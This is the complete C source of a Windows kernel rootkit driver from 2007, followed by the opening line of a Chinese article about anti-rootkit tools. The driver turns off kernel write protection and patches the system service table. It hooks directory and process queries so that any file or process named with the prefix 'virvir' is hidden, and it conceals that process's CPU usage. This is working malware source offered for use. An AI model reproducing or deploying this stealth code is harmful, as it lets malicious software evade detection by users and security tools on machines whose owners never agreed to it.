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// ***************************************************************
// bhhidef version: 1.0 ? date: 10/11/2007 // ------------------------------------------------------------- // // author :virvir // ------------------------------------------------------------- // msn :dupchina@yahoo.com.cn // QQ : 414947531 // web :www.virvir.cn // ------------------------------------------------------------- // Copyright (C) 2007 - All Rights Reserved // *************************************************************** #include "ntddk.h" #include "stdarg.h" #include "stdio.h" #include "ntiologc.h" /************************************************************************/ /* pre-defines */ /************************************************************************/ #define DWORD unsigned long #define WORD unsigned short #define BOOL unsigned long #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] /* * Length of process name (rounded up to next DWORD) */ #define PROCNAMELEN 20 /* * Maximum length of NT process name */ #define NT_PROCNAMELEN 16 #define FileIdFullDirectoryInformation 38 #define FileIdBothDirectoryInformation 37 /************************************************************************/ /* structs */ /************************************************************************/ struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; typedef struct _FILE_ID_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct _FILE_ID_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; LARGE_INTEGER FileId; WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery ); typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( HANDLE hFile, HANDLE hEvent, PIO_APC_ROUTINE IoApcRoutine, PVOID IoApcContext, PIO_STATUS_BLOCK pIoStatusBlock, PVOID FileInformationBuffer, ULONG FileInformationBufferLength, FILE_INFORMATION_CLASS FileInfoClass, BOOLEAN bReturnOnlyOneEntry, PUNICODE_STRING PathMask, BOOLEAN bRestartQuery ); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); /************************************************************************/ /* globals */ /************************************************************************/ ULONG gProcessNameOffset; LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile; ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; /* Find the offset of the process name within the executive process block. We do this by searching for the first occurance of "System" in the current process when the device driver is loaded. */ void GetProcessNameOffset() { PEPROCESS curproc = PsGetCurrentProcess(); int i; for( i = 0; i < 3*PAGE_SIZE; i++ ) { if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") )) { gProcessNameOffset = i; } } } /* Given a directory entry, return the next directory entry in the linked list. */ DWORD getDirEntryLenToNext(IN PVOID FileInformationBuffer, IN FILE_INFORMATION_CLASS FileInfoClass) { DWORD result = 0; switch(FileInfoClass){ case FileDirectoryInformation: result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; case FileFullDirectoryInformation: result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; case FileIdFullDirectoryInformation: result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; case FileBothDirectoryInformation: result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; case FileIdBothDirectoryInformation: result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; case FileNamesInformation: result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset; break; } return result; } // *************************************************************** // function-name:setDirEntryLenToNext // ------------------------------------------------------------- // pramaters: // ------------------------------------------------------------- // return:void // ------------------------------------------------------------- // Given two directory entries, link them together in a list // *************************************************************** void setDirEntryLenToNext(IN PVOID FileInformationBuffer, IN FILE_INFORMATION_CLASS FileInfoClass, IN DWORD value) { switch(FileInfoClass){ case FileDirectoryInformation: ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; case FileFullDirectoryInformation: ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; case FileIdFullDirectoryInformation: ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; case FileBothDirectoryInformation: ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; case FileIdBothDirectoryInformation: ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; case FileNamesInformation: ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value; break; } } /* Return the filename of the specified directory entry. */ PVOID getDirEntryFileName(IN PVOID FileInformationBuffer, IN FILE_INFORMATION_CLASS FileInfoClass) { PVOID result = 0; switch(FileInfoClass){ case FileDirectoryInformation: result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0]; break; case FileFullDirectoryInformation: result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0]; break; case FileIdFullDirectoryInformation: result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0]; break; case FileBothDirectoryInformation: result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0]; break; case FileIdBothDirectoryInformation: result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0]; break; case FileNamesInformation: result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0]; break; } return result; } /* Return the length of the filename of the specified directory entry. */ ULONG getDirEntryFileLength(IN PVOID FileInformationBuffer, IN FILE_INFORMATION_CLASS FileInfoClass) { ULONG result = 0; switch(FileInfoClass){ case FileDirectoryInformation: result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength; break; case FileFullDirectoryInformation: result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength; break; case FileIdFullDirectoryInformation: result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength; break; case FileBothDirectoryInformation: result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength; break; case FileIdBothDirectoryInformation: result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength; break; case FileNamesInformation: result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength; break; } return result; } /* Copy the process name into the specified buffer. */ ULONG GetProcessName( PCHAR theName ) { PEPROCESS curproc; char *nameptr; //ULONG i; //KIRQL oldirql; if( gProcessNameOffset ) { curproc = PsGetCurrentProcess(); nameptr = (PCHAR) curproc + gProcessNameOffset; strncpy( theName, nameptr, NT_PROCNAMELEN ); theName[NT_PROCNAMELEN] = 0; /* NULL at end */ return TRUE; } return FALSE; } /* NT's ZwQueryDirectoryFile() returns a a linked list of directory entries. The function below imitates it, except it removes from the list any entry who's name begins with "_root_". */ NTSTATUS NewZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery ) { NTSTATUS rc; CHAR aProcessName[PROCNAMELEN]; GetProcessName( aProcessName ); DbgPrint("Rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName); rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) ( hFile, hEvent, IoApcRoutine, IoApcContext, pIoStatusBlock, FileInformationBuffer, FileInformationBufferLength, FileInfoClass, bReturnOnlyOneEntry, PathMask, bRestartQuery); if( NT_SUCCESS( rc ) && (FileInfoClass == FileDirectoryInformation || FileInfoClass == FileFullDirectoryInformation || FileInfoClass == FileIdFullDirectoryInformation || FileInfoClass == FileBothDirectoryInformation || FileInfoClass == FileIdBothDirectoryInformation || FileInfoClass == FileNamesInformation ) ) { if(0 == memcmp(aProcessName, "virvir", 6)) { DbgPrint("Rootkit: detected file/directory query from virvir process/n"); } else { PVOID p = FileInformationBuffer; PVOID pLast = NULL; BOOL bLastOne; do { bLastOne = !getDirEntryLenToNext(p,FileInfoClass); // compare directory-name prefix with 'virvir' to decide if to hide or not. if (getDirEntryFileLength(p,FileInfoClass) >= 12) { if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), L"virvir", 12 ) == 12 ) { if( bLastOne ) { if( p == FileInformationBuffer ) rc = 0x80000006; else setDirEntryLenToNext(pLast,FileInfoClass, 0); break; } else { int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer; int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass); RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft ); continue; } } } pLast = p; p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) ); } while( !bLastOne ); } } return(rc); } /************************************************************************/ /* NT's ZwQuerySystemInformation() returns a linked list of processes. The function below imitates it, except it removes from the list any process who's name begins with "virvir". */ NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ) { NTSTATUS rc; CHAR aProcessName[PROCNAMELEN]; GetProcessName( aProcessName ); DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName); rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS( rc ) ) { // double check the process name, if it starts w/ 'virvir' DO NOT // apply any stealth if(0 == memcmp(aProcessName, "virvir", 6)) { DbgPrint("rootkit: detected system query from virvir process/n"); } else if( 5 == SystemInformationClass ) { // this is a process list, look for process names that start with // '_root_' int iChanged = 0; struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta); ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (255 > process_name.Length) ) { if(0 == memcmp( process_name.Buffer, "virvir", 6)) { ////////////////////////////////////////////// // we have a winner! ////////////////////////////////////////////// char _output[255]; char _pname[255]; memset(_pname, 0, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "rootkit: hiding process, pid: %d/tname: %s/r/n", curr->ProcessId, _pname); DbgPrint(_output); iChanged = 1; m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) { if(curr->NextEntryDelta) { // make prev skip this entry prev->NextEntryDelta += curr->NextEntryDelta; } else { // we are last, so make prev the end prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else { // we are the only process! SystemInformation = NULL; } } } } else { //add the times of _root_* processes to the idle process curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } RtlFreeAnsiString(&process_name); if (0 == iChanged) prev = curr; else iChanged = 0; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (8 == SystemInformationClass) //SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return(rc); } /************************************************************************/ VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("Rootkit: OnUnload called/n"); // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // put back the old function pointer InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile), (LONG) OldZwQueryDirectoryFile); InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) OldZwQuerySystemInformation); // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("Rootkit: WE ARE ALIVE! Start hiding files./n"); GetProcessNameOffset(); theDriverObject->DriverUnload = OnUnload; // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // place the hook using InterlockedExchange (no need to disable interrupts) // this uses the LOCK instruction to lock the memory bus during the next instruction // Example: // LOCK INC DWORD PTR [EDX+04] // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts // on the current processor. // OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE) InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile), (LONG) NewZwQueryDirectoryFile); DbgPrint("%x",(PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile)); OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) NewZwQuerySystemInformation); //add hide reg&files // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } return STATUS_SUCCESS; } |
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简单认识Anti-RootKit 作者:single 现在RK(rootkit)和ARK(anti-rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工具是冰刃(IceSword),从冰刃开始出来到现在RK和ARK的斗争一直在继续,目前冰刃还是在流行当中,自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争 呵呵,现在很多病毒木马已经广泛的带有驱动,使用一些RK
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